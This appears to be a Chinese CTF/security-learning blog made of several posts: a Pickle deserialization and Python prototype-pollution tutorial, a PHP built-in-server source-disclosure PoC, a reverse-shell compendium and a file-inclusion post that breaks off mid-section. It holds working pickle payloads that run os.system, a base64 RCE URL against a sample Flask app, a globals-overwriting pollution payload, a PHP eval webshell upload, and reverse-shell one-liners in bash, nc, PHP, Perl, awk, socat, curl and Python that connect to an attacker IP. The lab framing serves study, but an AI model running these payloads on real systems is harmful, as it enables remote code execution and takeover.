print([index for index, cls in enumerate("".__class__.__bases__[0].__subclasses__()) if 'os._wrap_close' in str(cls)])
//这个print语句可以查找os_wrap_close在列表的第一个位置

print('\n'.join([f"[{i}] {c}" for i, c in enumerate("".__class__.__bases__[0].__subclasses__())]))
//这个print语句可以循环输出object的所有子类并标上序号

[158] <class 'os._wrap_close'>

这里我的os类在158位

for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print (i)
//如果是python2可以用这个

Pickle反序列化与Python原型链污染

2026-03-20T10:03:00.000Z

# Pickle反序列化

本文参考这两篇：https://goodapple.top/archives/1069

https://blog.csdn.net/m0_73512445/article/details/135156437

# Pickle

在学习pickle反序列化之前先了解一下什么是pickle：

pickle是Python中一个能够序列化和反序列化对象的模块。和其他语言类似，Python也提供了序列化和反序列化这一功能，其中一个实现模块就是pickle。在Python中，“Pickling” 是将 Python 对象及其所拥有的层次结构转化为一个二进制字节流的过程，也就是我们常说的序列化，而 “unpickling” 是相反的操作，会将字节流转化回一个对象层次结构。

通俗点讲，pickle序列化与反序列化就是数据保存与数据读取

可序列化对象：
None，True 和 False
整数、浮点数、复数
str、byte、bytearray
只包含可封存对象的集合，包括 tuple(元组)、list、set 和 dict
定义在模块最外层的函数（使用 def 定义，lambda 函数则不可以）
定义在模块最外层的内置函数
定义在模块最外层的类
__dict__属性值或 __getstate__()函数的返回值可以被序列化的类

在这篇博客[https://goodapple.top/archives/1069]中我看到了这样一句话：pickle实际上可以看作一种独立的语言，通过对opcode的编写可以进行Python代码执行、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高，并且有的代码不能通过pickle序列化得到（pickle解析能力大于pickle生成能力）

我的理解就是pickle序列化的内容（也就是opcode+operand）可执行范围是有限的，而手动构造的opcode与operand可执行范围就远高于pickle序列化生成的opcode与operand。我们以下面这段代码为例：

import pickle
class ZLARYY():
    def  __init__(self):
        self.age=18
        self.flag="ZLARYY{2L47yY}"
        self.friends="Chesmond and Arache"

Web=ZLARYY()
opcode=pickle.dumps(Web)
print(opcode)
print("==========")
WEB=pickle.loads(opcode)
print(WEB)

他的输出结果为：

b'\x80\x03c__main__\nZLARYY\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03K\x12X\x04\x00\x00\x00flagq\x04X\x0e\x00\x00\x00ZLARYY{2L47yY}q\x05X\x07\x00\x00\x00friendsq\x06X\x13\x00\x00\x00Chesmond and Aracheq\x07ub.'
==========
<__main__.ZLARYY object at 0x000001C061A19108>

其中第一段就是我们的opcode

# opcode

那什么是opcode？Pickle本质上自带了一个虚拟机（PVM-Pickle Virtual Machine），为了让这个虚拟机工作，Python的创造者专门发明了一套pickle专属指令集，也就是Pickle Opcode

在Python的pickle.py中，我们能够找到所有的opcode及其解释，常用的opcode如下，这里我们以V0版本为例

指令	描述	具体写法	栈上的变化
c	获取一个全局对象或import一个模块	c[module]\n[instance]\n	获得的对象入栈
o	寻找栈中的上一个MARK，以之间的第一个数据（必须为函数）为callable，第二个到第n个数据为参数，执行该函数（或实例化一个对象）	o	这个过程中涉及到的数据都出栈，函数的返回值（或生成的对象）入栈
i	相当于c和o的组合，先获取一个全局函数，然后寻找栈中的上一个MARK，并组合之间的数据为元组，以该元组为参数执行全局函数（或实例化一个对象）	i[module]\n[callable]\n	这个过程中涉及到的数据都出栈，函数返回值（或生成的对象）入栈
N	实例化一个None	N	获得的对象入栈
S	实例化一个字符串对象	S'xxx'\n（也可以使用双引号、'等python字符串形式）	获得的对象入栈
V	实例化一个UNICODE字符串对象	Vxxx\n	获得的对象入栈
I	实例化一个int对象	Ixxx\n	获得的对象入栈
F	实例化一个float对象	Fx.x\n	获得的对象入栈
R	选择栈上的第一个对象作为函数、第二个对象作为参数（第二个对象必须为元组），然后调用该函数	R	函数和参数出栈，函数的返回值入栈
.	程序结束，栈顶的一个元素作为pickle.loads()的返回值	.	无
(	向栈中压入一个MARK标记	(	MARK标记入栈
t	寻找栈中的上一个MARK，并组合之间的数据为元组	t	MARK标记以及被组合的数据出栈，获得的对象入栈
)	向栈中直接压入一个空元组	)	空元组入栈
l	寻找栈中的上一个MARK，并组合之间的数据为列表	l	MARK标记以及被组合的数据出栈，获得的对象入栈
]	向栈中直接压入一个空列表	]	空列表入栈
d	寻找栈中的上一个MARK，并组合之间的数据为字典（数据必须有偶数个，即呈key-value对）	d	MARK标记以及被组合的数据出栈，获得的对象入栈
}	向栈中直接压入一个空字典	}	空字典入栈
p	将栈顶对象储存至memo_n	pn\n	无
g	将memo_n的对象压栈	gn\n	对象被压栈
0	丢弃栈顶对象	0	栈顶对象被丢弃
b	使用栈中的第一个元素（储存多个属性名: 属性值的字典）对第二个元素（对象实例）进行属性设置	b	栈上第一个元素出栈
s	将栈的第一个和第二个对象作为key-value对，添加或更新到栈的第三个对象（必须为列表或字典，列表以数字作为key）中	s	第一、二个元素出栈，第三个元素（列表或字典）添加新值或被更新
u	寻找栈中的上一个MARK，组合之间的数据（数据必须有偶数个，即呈key-value对）并全部添加或更新到该MARK之前的一个元素（必须为字典）中	u	MARK标记以及被组合的数据出栈，字典被更新
a	将栈的第一个元素append到第二个元素(列表)中	a	栈顶元素出栈，第二个元素（列表）被更新
e	寻找栈中的上一个MARK，组合之间的数据并extends到该MARK之前的一个元素（必须为列表）中	e	MARK标记以及被组合的数据出栈，列表被更新

以这段opcode为例我们来分析一下：

b'\x80\x03c__main__\nZLARYY\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03K\x12X\x04\x00\x00\x00flagq\x04X\x0e\x00\x00\x00ZLARYY{2L47yY}q\x05X\x07\x00\x00\x00friendsq\x06X\x13\x00\x00\x00Chesmond and Aracheq\x07ub.'

这里最开头的b表示Bytes，目的是告诉python引号里面的内容是一串二进制原始数据，Pickle.dumps()生成的序列化数据永远返回的都是带b的字符串

\x80\x03c__main__\nZLARYY\n

\80\x03：表示使用的是Pickle Protocol 3协议版本3，在本文开头的博客中有提到协议版本V0,V1,V2,V3,V4

c__main__\nZLARYY\n：使用了c(GLOBAL)指令，表示从当前的__main__运行环境中引入一个叫做ZLARYY的类

这两段用于声明协议和引入类

q\x00)\x81q\x01

q\x00：使用了q(BINPUT)指令，表示把刚才引入的类存储到Memo的0号位置

)：EMPTY_TUPLE，在栈上放一个空元组

\x81：NEWOBJ，表示使用刚才引入的ZLARYY类和空元组，在内存中实例化出一个没有任何属性的ZLARYY类的空对象

q\x01：与q\x00一样，将创建的实例对象存储到memo中，索引为1

这些用来实例化对象，这时候存储的对象中没有任何属性

}q\x02(X\x03\x00\x00\x00ageq\x03K\x12X\x04\x00\x00\x00flagq\x04X\x0e\x00\x00\x00ZLARYY{2L47yY}q\x05X\x07\x00\x00\x00friendsq\x06X\x13\x00\x00\x00Chesmond and Aracheq\x07u

}：EMPTY_DICT，表示在栈上创建一个空字典，准备用来存放对象的属性（也就是__dict__）

(：MARK，在栈上做一个标记，表示接下来压入栈的数据都属于这个字典的键值对

接下来我们忽略掉用来暂存的q指令（只出现在键后面）

X\x03\x00\x00\x00age：表示第一个键值对的键age，其中X是一个opcode，官方代号叫做BINUNICODE，当PVM读到X就表示接下来要读取一个Unicode格式的字符串，不过由于PVM过于死板，光告诉他要读取字符串是不够的，还需要精确地告诉他字符串有几个字节，否则就会一直读下去，而查看具体有多少个字节就是靠\x03\x00\x00\x00，Pickle协议规定，为了能支持很长的字符串，跟在X指令后面的长度信息必须固定占据四个字节（32位整数）的空间，\x00就是用来占位的0，\x03表示长度为3，至于这里为什么\x03排在前面是由于利用的小端序，在现代计算机底层，为了处理速度更快，内存存储数字是倒过来的，所以258个字节长度的字符串会表示为\x02\x01\x00\x00

K\x12：表示第一个键值对的值，\x12为十六进制的整数18，K表示BININT1，读取范围为0-255的正整数，除此之外还有M(BININT2)表示读取两个字节的无符号整数(0~65535)，J(BININT)表示读取四个字节的有符号整数，能表示很大的正数或负数，I(INT)表示直接用纯文本存数字，以换行符\n结尾：I18\n

同样的可以类比接下来的X\x04\x00\x00\x00flag和X\x0e\x00\x00\x00ZLARYY{2L47yY}

u：SETITEMS，遇到这个指令，PVM开始找(标记，把这期间所有的键值塞进之前创建的字典里，此时字典变成了：{'age': 18, 'flag': 'ZLARYY{2L47yY}', 'friends': 'Chesmond and Arache'}

这些内容全部用来构建属性字典

b.

b：BUILD，表示把刚做好的字典赋值给刚才创建的空对象__dict__属性，此时ZLARYY这个对象有了属性

.：STOP，在反序列化时表示反序列化结束，返回最终的对象

而我们输出的pickle.loads(opcode)：<__main__.ZLARYY object at 0x000001C061A19108>

指明了这个对象属于__main__模块的ZLARYY类，最后的十六进制为内存地址

# Pickle反序列化漏洞

我们介绍了正常情况下的pickle序列化字符串组成，但我们之前也提到了pickle解析能力大于执行能力，如果我们手动打出恶意的payload，那么就可能会出先RCE等漏洞

就比如下面的代码：

import pickle
class ZLARYY():
    def  __init__(self):
        self.age=18
        self.flag="ZLARYY{2L47yY}"
        self.friends="Chesmond and Arache"
        
payload=b'''cos
system
(S'whoami'
tR.'''
pickle.loads(payload)

关于这串payload有几个小细节：

这段payload使用的是pickle的第0版协议，在这个协议中，换行符作为分隔符使用，如果不使用多行字符串而强行将payload写成一行会变成：
```
payload = b'cos\nsystem\n(S\'whoami\'\ntR.'
```
为了方便手动编写及阅读修改，通常采用多行字符串的方式，而且由于我们的pickle序列化字符串必须带上b，所以采用b'''的方式来书写多行字节串

那么这段paylaod是怎么起作用的：

第一行：cos

c：GLOBAL指令，之前提到是作为引入实例化对象，在这里是作为导入模块

os：模块名，这里PVM读到回车就表示模块名写完了

第二行：system

system：函数名，这里PVM读到回车表示函数名写完了，此时PVM将os.system这个函数放在了内存栈中

第三行：(S'whoami'

(：MARK指令，作为标记

S：STRING指令，读取字符串

'whoami'：字符串内容，这里PVM读到回车就表示字符串读完了，把它压入栈中

第四行：tR.

t：TUPLE指令，找到上一个MARK指令，并把之间的数据打包为元组：('whoami',)

R：REDUCE指令，选择栈上的第一个对象作为函数，第二个对象作为参数（第二个对象必须是元组），然后调用该函数，也就是执行了os.system('whoami')

.：STOP指令，表示结束运行

# 与函数执行相关的opcode

# `object.reduce`与R

我们可以通过重写类的object.__reduce__()函数，使其在被实例化时按照重写的方式进行，Python要求该方法返回一个字符串或者元组。如果返回元组(callable, ([para1,para2...])[,...]) ，那么每当该类的对象被反序列化时，该callable就会被调用，参数为para1、para2...，其实 R 正好对应 object.__reduce__() 函数， object.__reduce__() 的返回值会作为 R 的作用对象，当包含该函数的对象被pickle序列化时，得到的字符串是包含了 R 的

b'''cos
system
(S'whoami'
tR.'''

# i

在前文表格中提到过：i相当于c和o的组合，先获取一个全局函数，然后寻找栈中的上一个MARK，并组合之间的数据为元组，以该元组为参数执行全局函数（或实例化一个对象）

用它写的paylaod如下：

b'''(S'whoami'
ios
system
.'''

# o

o可以寻找栈中的上一个MARK，以之间的第一个数据（必须为函数）为callable，第二个到第n个数据为参数，执行该函数（或实例化一个对象）

b'''(cos
system
S'whoami'
o.'''

接下来我们尝试搭建一个本地环境测试一下，题目为：

import base64
import pickle
from flask import Flask, request

app = Flask(__name__)

@app.route('/calc', methods=['GET'])
def getFlag():
    payload = request.args.get("payload")
    pickle.loads(base64.b64decode(payload))
    return "ganbadie!"

@app.route('/readFile', methods=['GET'])
def readFile():
    filename = request.args.get('filename')
    with open(filename, 'r') as f:
        return f.read()

if __name__ == '__main__':
    app.run(host='0.0.0.0')

根据之前所说，我们构造的pickle反序列化内容应该是：

b'''cos
system
(S'cat flag.txt > evil'
tR.'''

这里会对我们传进去的内容进行base64解码，那么我们的参数就应该先进行一次base64编码，最终paylaod为：

/calc?payload=Y29zCnN5c3RlbQooUydjYXQgZmxhZy50eHQgPiBldmlsJwp0Ui4=

同时我们需要注意的是，直接将我们的payload放在在线编码里面得到的payload是不行的，必须用：

import base64

# 注意：这里是直接赋值给变量，真正的内存里是没有 b 和 ''' 这几个字符的
opcode = b'''cos
system
(S'cat flag.txt > evil'
tR.'''

# 对纯粹的二进制指令进行编码
print(base64.b64encode(opcode).decode())

这段脚本进行编码

# Python原型链污染

# 漏洞代码

def merge(target, payload):
    for key, value in payload.items():
        if isinstance(target, dict):
            if isinstance(value, dict) and key in target:
                merge(target[key], value)
            else:
                target[key] = value
                
        elif hasattr(target, key):
            
            if isinstance(value, dict):
                extracted_target = getattr(target, key) 
                merge(extracted_target, value)                 
            else:
                setattr(target, key, value)

我们挨个分析这串代码的含义：

# payload.items()

payload={"key1":"value1","key2":"value2"}
print(payload.items())

我们以这串代码为例看看输出结果：

.items()是python字典中的一个内置方法，作用是将字典里的"键"和"值"成对地拿出来，就可以用for循环挨个处理

for key, value in payload.items():
        if isinstance(target, dict):
            if isinstance(value, dict) and key in target:
                merge(target[key], value)
            else:
                target[key] = value

所以这串代码的意思就是遍历payload的键值对，如果merge的第一个参数target是字典，那么继续，如果payload中取得的value是字典并且取得的键key存在于target中，那么就将target替换为target['key']继续执行merge函数

如果value不是字典并且取得的key存在于target中，那么就将target[key]的值替换为value

比如：

target1={"theme":"light"}
payload1={"theme":"dark"}
merge(target1,payload1)
print(target1)

        elif hasattr(target, key):
            
            if isinstance(value, dict):
                extracted_target = getattr(target, key) 
                merge(extracted_target, value)                 
            else:
                setattr(target, key, value)

不过如果target中含有取得的key这个属性，那么继续判断，如果取得的value是个字典，那么就会将target的key属性取出来作为新的target进行merge，如果value不是字典那么就将target对象的key属性赋值为value

class ZLARYY:
    xiexie=1
    Chesmmond=2
    Arache=3

print(getattr(ZLARYY,'xiexie'))

由于所有的对象中都存在__class__属性，所以造成了原型链污染

# 例题

SECRET_KEY="I can't be changed!!!"
class ZLARYY:
    def __init__(self):
        pass

def merge(target, payload):
    for key, value in payload.items():
        if isinstance(target, dict):
            if isinstance(value, dict) and key in target:
                merge(target[key], value)
            else:
                target[key] = value
                
        elif hasattr(target, key):
            
            if isinstance(value, dict):
                extracted_target = getattr(target, key) 
                merge(extracted_target, value)                 
            else:
                setattr(target, key, value)

obj=ZLARYY()
pay="????????"
merge(obj,pay)
print(SECRET_KEY)

如果要使用__init__，那么merge的对象中必须存在def __init__(self):

class ZLARYY:
    pass
a=ZLARYY()
print(a.__class__.__init__)
#============================
class ZLARYY:
    def __init__(self):
        pass
a=ZLARYY()
print(a.__class__init__)

图片中的结果对应上面的两种python代码，如果不加上def语句的话，那么得到的就是object基类的__init__，但是由于object基类的__init__不是用python语言编写的，而是C语言，所以里面没有__globals__属性，那么我们的payload就断裂了

回到这道上，我的pay应该是怎样的字符串才能将SECRET_KEY给修改为Are you sure?呢

{"__class__":{"__init__":{"__globals__":{"SECRET_KEY":"Are you sure?"}}}}

实际上就是执行了将obj.__class__.__init__.__globals__中的SECRET_KEY修改为我们可控的内容

除此之外，python原型链污染还可以直接修改类的属性：

SECRET_KEY="I can't be changed!!!"
class ZLARYY:
    xiexie="can you change me?"
    Chesmond="NONONONONONO"
    Arache="YEAHYEAHYEAH"
    def __init__(self):
        pass

def merge(target, payload):
    for key, value in payload.items():
        if isinstance(target, dict):
            if isinstance(value, dict) and key in target:
                merge(target[key], value)
            else:
                target[key] = value
                
        elif hasattr(target, key):
            
            if isinstance(value, dict):
                extracted_target = getattr(target, key) 
                merge(extracted_target, value)                 
            else:
                setattr(target, key, value)

obj=ZLARYY()
pay={"__class__":{"__init__":{"__globals__":{"SECRET_KEY":"Are you sure?","ZLARYY":{"xiexie":"what?"}}}}}
merge(obj,pay)
print(SECRET_KEY)
print(ZLARYY.xiexie)

低版本php下信息泄露的CVE漏洞与反弹shell

2026-03-12T08:30:00.000Z

# 低版本php下信息泄露的CVE漏洞

为了复现这个漏洞拉个docker老是出问题，直接把这篇文章（https://blog.csdn.net/Kawakaze_JF/article/details/133046885?sharetype=blogdetail&shareId=133046885&sharerefer=APP&sharesource=2503_93592530&sharefrom=qq）里的命令借来用用吧：

apt-get install docker.io
//下载dpcker

service docker start
//启动docker

docker pull php:7.4.21 
//拉取php 7.4.21的镜像

docker run -it -p 8080:80  4ad229e4e700  /bin/bash
//运行镜像 将docker 的80端口映射到kali的8080端口

echo "<?php \$flag=ZLARYY{2L47yY}" > /var/www/html/secret.php
//写入文件

php -S 0.0.0.0:80
//通过php -S开启web服务(必须)

关于这个漏洞的详细部分在：

https://projectdiscovery.io/blog/php-http-server-source-disclosure#root-cause-analysis

恕我实在无能为力全部理解，只能靠AI帮我解释一下：

PHP 内置 Web 服务器（php_cli_server）底层的 C 语言状态机，在处理 “HTTP 请求管道化（Pipelining）” 时发生了严重的指针错乱。

正常的 HTTP 是一问一答（发一个请求，等一个响应）。但管道化允许你把两个甚至多个 HTTP 请求，硬塞进同一个 TCP 数据包里同时发过去！

所以接下来的逻辑是这样：我们的paylaod当中包含两个GET请求，并且故意不加上Content-Length请求头，这样php_http_parse在解析完第一个请求头之后由于没有看到长度，提前触发了messge_complete(消息完成)的回调函数，但我们还加上了第二个请求在后面，此时状态机会被强行拉回初始状态，在这样的条件下，php引擎的内部标志位被覆盖了，原本应该判断.php后缀需要拿去执行，但由于错误地把is_static_file的标志位设置为了1，那么php引擎就将这个.php文件视为静态文件，如.txt，就导致了php代码没有被执行，还输出了源码作为结果

在确定请求文件是静态文件还是php文件时，利用的是如下代码：

static  int  php_cli_server_dispatch(php_cli_server *server, php_cli_server_client *client) {
...
	if (client->request.ext_len != 3
	|| (ext[0] != 'p' && ext[0] != 'P') || (ext[1] != 'h' && ext[1] != 'H') || (ext[2] != 'p' && ext[2] != 'P')
	|| !client->request.path_translated) {

	is_static_file = 1;
	}
...
}

上述代码包含一个检查，用于确定请求的文件应被视为静态文件还是 PHP 文件。这是通过检查文件扩展名来实现的。如果扩展名不是 .src .php或.PHP .ph，或者扩展名的长度不等于 3，则该文件被视为静态文件。这通过将变量设置is_static_file为 1 来指示。

代码还会检查对象path_translated的某个字段client->request是否为空。该字段包含文件系统中请求文件的完整路径，用于定位和提供该文件。如果该path_translated字段为空，则表示找不到请求的文件，请求将被视为错误。

那么接下来尝试尝试复现这个漏洞，先给出poc：

GET /secret.php HTTP/1.1\r\n
Host: 192.168.xxx.xxx:8080\r\n
\r\n
\r\n
GET /ZLARYY HTTP/1.1\r\n
\r\n

由于我们的攻击原理中不能让其找到Content-Length，所以需要关闭Update Content-Length，注意上面的poc里面的\r\n不是手动加上去的，而是开启了burp的\n

# 反弹shell

其实挺早就了解到有这个方法了，在搭建起来kali里面的apache之后现在总算有机会尝试复现了

反弹shell（reverse shell），就是控制端监听在某TCP/UDP端口，被控端发起请求到该端口，并将其命令行的输入输出转到控制端。reverse shell与telnet，ssh等标准shell对应，本质上是网络概念的客户端与服务端的角色反转。

关于反弹shell我的理解是kali上开启监听端口，然后让靶机上开启命令行并且主动连接我的监听端，从而让我在监听端的输入都转入到靶机上，而靶机上的输出都返回到我的监听端

一种特别典型的利用反弹shell的题目是无回显RCE

题目如下：

<?php
highlight_file(__FILE__);
exec($_GET['cmd']);
?>

# bash反弹

这里我直接先给出payload：

/?cmd=echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE1Mi4xMjgvNzc3NyAwPiYx%20|%20base64%20-d%20|%20bash

其实原paylaod长这样：
bash -i >& /dev/tcp/192.168.152.128/7777 0>&1
同时我们还需要在kali上开启
nc -lvnp 7777

bash -i >& /dev/tcp/192.168.152.128/7777 0>&1：

参考：https://www.cnblogs.com/pandana/p/16289320.html

1、bash -i：在靶机上启动一个交互式（interactive）的Bash终端

2、/dev/tcp/是Linux中的一个特殊设备文件,实际这个文件是不存在的，它只是 bash 用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用，建立一个socket连接，读写这个文件就相当于在这个socket连接中传输数据。同理，Linux中还存在/dev/udp/。

3、192.168.1.102/7777则是攻击者主机的地址和监听的端口了。

4、“>&”和“0>&1”

要想了解“>&”和“0>&1”，首先我们要先了解一下Linux文件描述符和重定向。linux shell下常用的文件描述符是：

(1)标准输入(stdin) ：代码为 0 ，使用 < 或 <<

(2)标准输出(stdout)：代码为 1 ，使用 > 或 >>

(3)标准错误输出(stderr)：代码为 2 ，使用 2> 或 2>>

这里的”>&”与”&>”是等价的，都是表示混合输出，即标准输出1 + 错误输出2。其实 2>&1也是将标准错误输出重定向到标准输出中的意思。那么按照这个逻辑，“0>&1”就是将标准输入重定向到标准输出中。事实也就是如此，“0>&1”跟“0&>1”同样也是等价的。

回到题目上来说，由于我们的payload里面出现了&符号，那么在URL传参时会把我们的payload截断，所以必须用echo "[base64]"|base64 -d|sh对&绕过，除此之外，直接解析我们的payload的是/bin/sh指向的dash，这个dash在读到>&会直接报语法错误，用echo和管道符最后时候用bash或者sh才会将我们的bash反弹payload交给bash执行

这样我们就算成功反弹shell了，之后我们在这个命令行上输入的所有命令都与index.php的限制没有任何关系了，我们直接与靶机的命令行交互，并且靶机的执行结果直接显示到我们的bash上：

接下来我想深入了解一下>&和0>&1：

在本博客的RCE部分中提到过&，当时是说：

将前面的命令放在后台执行，不等前面的命令执行结束就开始执行后面的命令，还有一种用法是在一行命令末尾加上&符号使其放在后台运行，比如下载文件……

不过这里不是这样，>&表示重定向操作符，&变成了一个指针标记

不加上&的情况下，echo "ZLARYY" >1表示将ZLARYY字符串写入1这个文件

但是如果加上&之后，echo "ZLARYY" >&1的意思就变成了将这个字符串写进编号为1的系统通道，即标准输出：

而使用>& /dev/tcp/192.168.152.128/7777的原理其实是这样：

如同上面的>&shell一样，使用>&之后，系统原本准备去打开或者创建一个文件，但由于bash解释器在把命令交给Linux内核的时候，会先检查一遍要写入的路径，当bash看到路径以/dev/tcp或者/dev/udp开头，会触发一种特殊的拦截机制，这时候就不会去硬盘上创建文件了，而是调用底层的socket()网络编程接口，向对应的IP地址和端口发起一次TCP握手，此时>&作为混合输出，将标准输出和标准错误混在一起，最后顺着TCP发送到对应的IP地址和端口

之后由于存在0>&1和nc命令，系统会将我们输入的cat /flag\n变成纯粹的二进制数据包（TCP payload），顺着虚拟网线传输到靶机上，并且0>&1将靶机的标准输入转接到1通道上，导致传输进来的cat /flag\n被当做靶机的标准输入执行，将标准输出顺着TCP发送到我们的kali上

那么为什么我的kali上的标准输入会连接到TCP呢？

这是由于nc命令，一旦nc建立连接，nc(Netcat)会自动把kali的标准输入绑定到TCP连接上，同时将标准输出也绑定上，比如：

nc -lvvp 7777
//开启nc之后用windows访问192.168.152.128:7777

我们能看到：

这意味着我们接收到了Chorm浏览器的请求，此时如果我在kali上输入

HTTP/1.1 200 OK
Content-Type: text/html

<h1>Hello ZLARYY</h1>

那么在我们windows上的Chorm就可以看到kali标准输入的结果传输到了Chorm上

我之前提到exec调用的是/bin/sh的dash而不是bash，其实还有一种方法可以避免使用base64编码和管道符：

cmd=bash -c "bash -i >%26 /dev/tcp/192.168.152.128/7777 0>%261"

%26是&的URL编码，-c意味着将一段字符串强制作为bash的命令执行

# nc反弹

当然反弹shell可不止bash，nc反弹之前在限制长度的RCE中学到过：

nc -e /bin/bash 192.168.152.128 7777

在前文我们提到了nc命令可以主动将标准输入和标准输出连接到靶机，-e参数表示execute执行，那么nc -e /bin/bash意思就是一旦连接上，那么就执行靶机上的/bin/bash程序，并且将标准输出标准输入标准错误输出全部连接到kali中

# php反弹

php反弹利用了php中的原生函数fsockopen，该函数在本博客SSRF一栏中提到：

此函数用于打开一个网络Socket连接，允许与任意主机和端口进行原始的TCP通信。它比HTTP库更底层，因此可以与被防火墙保护的、非HTTP协议的内网服务（如Redis、MySQL、Memcached）直接交互。

一种payload为：

php -r '$sock=fsockopen("192.168.152.128",7777);exec("/bin/sh -i <&3 >&3 2>&3");'

fsockopen("192.168.152.128",7777)表示向kali发起TCP连接

exec("/bin/sh -i <&3 >&3 2>&3")：之前有提到过文件描述符：0表示输入，使用<或<<；1表示输出，使用>或>>；2表示错误，使用2>或2>>。当连接成功后，操作系统会给这个网络套接字分配一个文件描述符，由于0,1,2都有表示，那么这个新建立的socket网络编号通常为3

<&3，>&3，2>&3就像>&和0>&1一样：

<&3：把标准输入接在网络套接字（3）上，用于接收命令

>&3：把标准输出接在网络套接字上，传回执行结果

2>&3：把报错信息接在网络套接字上

还有一种就和bash反弹没什么区别了：

php -r 'exec("bash -c \"bash -i >%26 /dev/tcp/192.168.152.128/7777 0>%261\"");'

# exec反弹

exec反弹也是利用文件描述符和网络socket：

bash-c '0<&196;exec 196<>/dev/tcp/192.168.152.128/7777; sh <&196 >&196 2>&196'

0<&196：把标准输入重定向，去读取文件描述符196里面的内容，这是为了确保当前的输入流被强行接管或者纯粹是老版本系统用来初始化占位

exec 196<>/dev/tcp/192.168.152.128/7777：这里有一个exec的另一种用法：当exec后面没有接任何命令，只接了重定向符号时，exec的作用就变成了永久修改当前bash进程的文件描述符，而这句话就相当于开启一个与我的kali相连的网络连接，并把这个连接命名为196

sh <&196 >&196 2>&196：其实也和<&3，>&3，2>&3一样了

# perl反弹

perl -e 'use Socket;$i="192.168.152.128";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

其实有了前几个反弹的技巧，这个应该也不难看出来：

use Socket;$i="192.168.152.128";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))：Perl版本的建桥指令，或者说就相当于php反弹里的fsockopen()，它向kali发起TCP连接，并把这个连接命名为句柄S

open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S")：将标准输出标准输入和标准错误重定向到S上

exec("/bin/sh -i")：调用操作系统

# awk反弹

awk原本是一个用来处理文件的命令：

awk '动作' 文件名

此命令将逐行打印flag.txt的内容，其中$0表示整行内容。

这里的$n表示第n个字段

接下来了解了解awk反弹shell：

awk 'BEGIN{s="/inet/tcp/0/192.168.152.128/7777";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

BEGIN{}：正常来说awk是等有文件输入了才执行，不过加载BEGIN块之后表示程序一启动就执行括号内的代码

s="/inet/tcp/0/192.168.152.128/7777"：与/dev/tcp类似，awk 内部同样硬编码了一个特殊的虚拟路径解析器：/inet/网络协议/本地端口/目标IP/目标端口，在给s赋值的同时，awk建立了一个通向kali的TCP握手，0表示本地端口随机

for(;s|&getline c;close(c))：

|&：双向管道符，awk独有，它把套接字s修改为可读写的通道

s|&getline c：如果从kali中传来了命令，就把他读取下来存进变量c中

close(c)：每次执行完命令之后清理执行环境准备执行下一条命令

while(c|getline) print|&s：当c获得命令，awk会将c里的字符串交给操作系统执行并且把执行出来的结果一行行读取出来，print|&s表示把读取到的结果顺着双向管道赋值给s

# curl反弹

我们可以将一个shell反弹的payload放在靶机可以执行curl的地方，然后利用管道符和sh

curl 192.168.152.128/bash.html|bash

# socat反弹

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.152.128:7777

# python反弹

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.152.128",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

原理其实也和前面的差不多，建立网络连接之后把0,1,2都接上通道

文章参考：反弹shell汇总，看我一篇就够了-CSDN博客

文件包含

2026-03-10T13:00:00.000Z

# 文件包含

本文主要涉及临时文件包含，session文件包含，日志文件包含等特殊的文件包含技巧，除此之外相关伪协议见本博客SSRF各种协议

# 临时文件包含

当我们在给PHP发送POST数据包时，如果数据包里包含文件区块，无论你访问的代码中有没有处理文件上传的逻辑，PHP都会将这个文件保存成一个临时文件。文件名可以在$_FILES变量中找到。这个临时文件，在请求结束后就会被删除。phpinfo页面会将当前请求上下文中所有变量都打印出来，所以我们如果向phpinfo页面发送包含文件区块的数据包，则即可在返回包里找到$_FILES变量的内容，拿到临时文件变量名之后，就可以进行包含执行我们传入的恶意代码。

# 关于临时文件

我们需要伪造一个POST提交文件的请求包，上传的文件信息会保存在 $_FILES里面，$ _FILES超级全局变量很特殊，他是预定义超级全局数组中唯一的二维数组。我们也可以通过使用var_dump查看$_FILES的内容

$_FILES['userfile']['name'] 客户端文件的原名称。
$_FILES['userfile']['type'] 文件的 MIME 类型，如果浏览器提供该信息的支持，例如"image/gif"。
$_FILES['userfile']['size'] 已上传文件的大小，单位为字节。
$_FILES['userfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名，一般是系统默认。可以在php.ini的upload_tmp_dir 指定，默认是/tmp目录。
$_FILES['userfile']['error'] 该文件上传的错误代码，上传成功其值为0，否则为错误信息。
$_FILES['userfile']['tmp_name'] 文件被上传后在服务端存储的临时文件名

我们的1.php代码如下：

<?php
var_dump($_FILES);
if(isset($_GET['file'])){
    include($_GET['file']);
}
?>

当我们发送一个POST包：

POST /flag/1.php HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHack123
Content-Length: 191

------WebKitFormBoundaryHack123
Content-Disposition: form-data; name="file"; filename="ZLARYY.txt"
Content-Type: text/plain

<?php eval($_POST['cmd']); ?>
------WebKitFormBoundaryHack123--

会看到响应界面：

其中的tmp_name就告诉了我们临时文件名称以及路径

这里由于是windows系统我自定义了upload_tmp_dir为WWW，一般windows默认路径为C:/Windows或C:/Windows/Temp/，Linux默认路径为/tmp/

# 文件命名

Linux下存储的临时文件格式通常为php+6个随机字符

Windows通常和上图响应一样为php+4个随机字符.tmp

# 条件竞争

到这里我们就有必要了解一下条件竞争了，由于临时文件在请求之后就会结束，所以我们不得不想一个办法在临时文件还没有被删除的时候利用文件包含执行恶意代码将一句话木马写入到另一个文件中。而利用文件还没被删除就被包含这个时间间隙的操作就叫做条件竞争

核心利用代码：

